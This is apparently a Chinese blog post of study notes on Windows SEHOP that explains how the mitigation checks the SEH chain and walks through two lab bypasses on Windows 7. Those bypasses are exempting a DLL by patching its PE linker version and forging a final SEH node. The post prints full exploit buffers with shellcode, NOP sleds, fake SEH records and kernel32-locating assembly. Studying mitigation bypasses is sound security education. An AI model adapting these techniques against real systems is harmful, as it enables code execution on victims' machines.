0day安全 | Chapter 14 S.E.H终极防护:SEHOP

启程

之前我还没有了解过SEHOP机制,正好来学习一下。

SEHOP原理

SEHOP即Structured Exception Handling Overwrite Protection。它从Vista SP1开始被支持,但默认关闭,在Server 2008上默认启用。可以按照如下方式自行开启:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel:DisableExceptionChainValidation设为零即可:

参考0day安全 Chapter 6 形形色色的内存攻击技术我们知道一个典型的SEH链表如下图所示:

SEHOP的核心任务是:检查该SEH链的完整性,在程序转入异常处理前检查SEH链最后的异常处理函数是否为系统固定的终极异常处理函数。它的检测流程如下:

if (process_flags & 0x40 == 0) { // 如果没有SEH记录则不进行检测
    if (record != 0xFFFFFFFF) { // 开始检测
        do {
            // SEH 记录必须位于栈中
            if (record < stack_bottom || record > stack_top)
                goto corruption;
            // SEH 记录结构需完全在栈中
            if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
                goto corruption;
            //SEH记录必须4字节对齐
            if ((record & 3) != 0)
                goto corruption;
            // 异常处理函数地址不能位于栈中
            handler = record->handler;
            if (handler >= stack_bottom && handler < stack_top)
                goto corruption;

            record = record->next;
        } while (record != 0xFFFFFFFF); // 遍历SEH链
        if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
            // 核心检测!
            if (handler != &FinalExceptionHandler)
                goto corruption;
        }
    }
}

在这种缓解措施下,覆盖SEH异常处理函数指针的攻击方式不再有效,因为我们会将SEH节点指向下一个节点的指针覆盖为类空指令,从而使得SEHOP在遍历链表时发现无法遍历到FinalExceptionHandler,于是将发现异常。另外,该检查在SafeSEH的RtlIsValidHandler之前进行,所以用于绕过SafeSEH的方法(0day安全 Chapter 11 亡羊补牢:SafeSEH)也均失效。

对此,绕过思路主要有三种:

  • 不去攻击SEH
  • 利用未启用SEHOP的模块
  • 伪造SEH链

后面我们将分别说明。

攻击返回地址

也就是未启用GS的情况。不涉及SEH。略。

攻击虚函数

同样不涉及SEH。略。

利用未启用SEHOP的模块

微软没有在编译器中提供禁用SEHOP选项,但是出于兼容性考虑还是对一些程序禁用SEHOP,如Armadilo加壳的软件。操作系统根据PE头中MajorLinkerVersionMinorLinkerVersion两个选项判断是否为程序禁用SEHOP。我们可以通过将它们分别设置为0x53/0x52来模拟被Armadilo加壳的程序。

由于绕过SEHOP后还需要绕过SafeSEH,所以我们在0day安全 Chapter 11 亡羊补牢:SafeSEH的“利用未启用SafeSEH模块”实验的基础上来进行本次试验。

# 实验环境
测试环境: Windows 7 32位
漏洞程序编译器:VS 2008
系统SEHOP:启用
ASLR:关闭(其实只要DLL的ASLR禁用即可)
优化选项:禁用
DEP选项/NXCOMPAT: NO
GS: 关闭
build版本:release

DLL和漏洞测试程序代码不再贴出,可以在0day安全 Chapter 11 亡羊补牢:SafeSEH获取。需要注意的是,Windows 7下的PEB_LDR_DATA指向的加载模块列表中第二个模块位置被KERNELBASE.dll占据,kernel32.dll位置由第二个变为第三个。所以我们的messagebox弹窗payload需要做相应修改:

// 170 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09"
"\x8b\x09" // add one more \x8b\x09 here! That is mov ecx, [ecx]
"\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";

具体而言,参考0day安全 Chapter 3 开发shellcode的艺术我们知道定位kernel32.dll的汇编指令如下:

	; find base addr of kernel32.dll
	mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
	mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
	mov ecx, [ecx + 0x1c] ; ecx = pointer first entry in initialization order list
	mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
	mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll

mov ecx, [ecx]开始,其实就是遍历链表的过程。既然kernel32.dll由第二个节点变为第三个节点,那么我们只需要多往下遍历一个节点即可。所以多添加一个mov ecx, [ecx]指令就好。

我们只要求DLL的ASLR关闭,方便我们定位跳板即可,但为了走一遍Win7下关闭系统ASLR的流程,我们直接将整个系统的ASLR关闭。不得不说,EMET真的很方便啊:

按如上方式修改,然后重启。在未修改DLL文件前先测试一下:

果然,同样的代码已经不能攻击成功了。下面我们使用CFF Explorer修改DLL文件PE头的MajorLinkerVersionMinorLinkerVersion标识:

保存后再次运行漏洞程序:

成功。

伪造SEH链表

这个思路比较直接,也比较大胆,直接去伪造一个终极异常处理函数。流程大概如下:

为了使这种攻击生效,我们需要保证FinalExceptionHandler不会随机,所以要关闭ASLR。同时,根据前面给出的SEHOP检测流程,我们还需要满足以下条件:

  • 被覆盖的SEH节点的后向指针所指地址必须在栈中,且能够被4整除
  • 上述的后向指针指向处的伪造SEH节点是链表的最后一项,即它的异常处理函数指针指向FinalExceptionHandler
  • 突破SEHOP后,还要绕过SafeSEH

我们同样在0day安全 Chapter 11 亡羊补牢:SafeSEH的“利用未启用SafeSEH模块”实验的基础上来进行本次试验,不去考虑SafeSEH的问题。

需要注意的是,由于栈上地址带有尾零,所以我们要把测试代码中的strcpy换成memcpy进行测试。

首先build程序,然后在Win7上用OD打开,在堆栈窗口中拉到最底部看一下系统的终极SEH节点:

可以发现FinalExceptionHandler地址为0x77F7AB2D。于是我们在原shellcode后添加两个nop,保证地址对齐,再添加伪造的终极SEH节点:

// final SEH Node
"\xFF\xFF\xFF\xFF"
"\x2d\xab\xf7\x77";

然后再次build并用OD调试,记录下上述节点在栈上的起始地址(所以要关闭系统ASLR)。接着就可以构造最终的shellcode了:

char shellcode[] = 
// 210 nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90"
// address of last seh record
"\x14\xff\x12\x00"
// PPR's address (in our dll)
"\x12\x10\x12\x11"
// 8 nop
"\x90\x90\x90\x90\x90\x90\x90\x90"
// 170 messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8\x90\x90"
// final SEH Node
"\xFF\xFF\xFF\xFF"
"\x2d\xab\xf7\x77";

OK,build一下,用OD确认一下栈上的布置:

一切正常,测试:

有个问题:为什么我们不直接把后向指针指向程序自带的终极SEH节点呢?参考之前的图片,也就是0x0012FFE4。这样一来我们就不必自己构造伪节点了。这是因为这个地址在作为指令执行使会影响控制流。我们可以在OD中单步跟进看看,当控制流转入shellcode时,该部分被解释如下:

该指令将导致控制流被打乱。

总结

可以发现,其实SEHOP加ASLR能够很有效地阻止SEH覆盖攻击发生。总之,缓冲区溢出是越来越困难了。

Per Aspera Ad Astra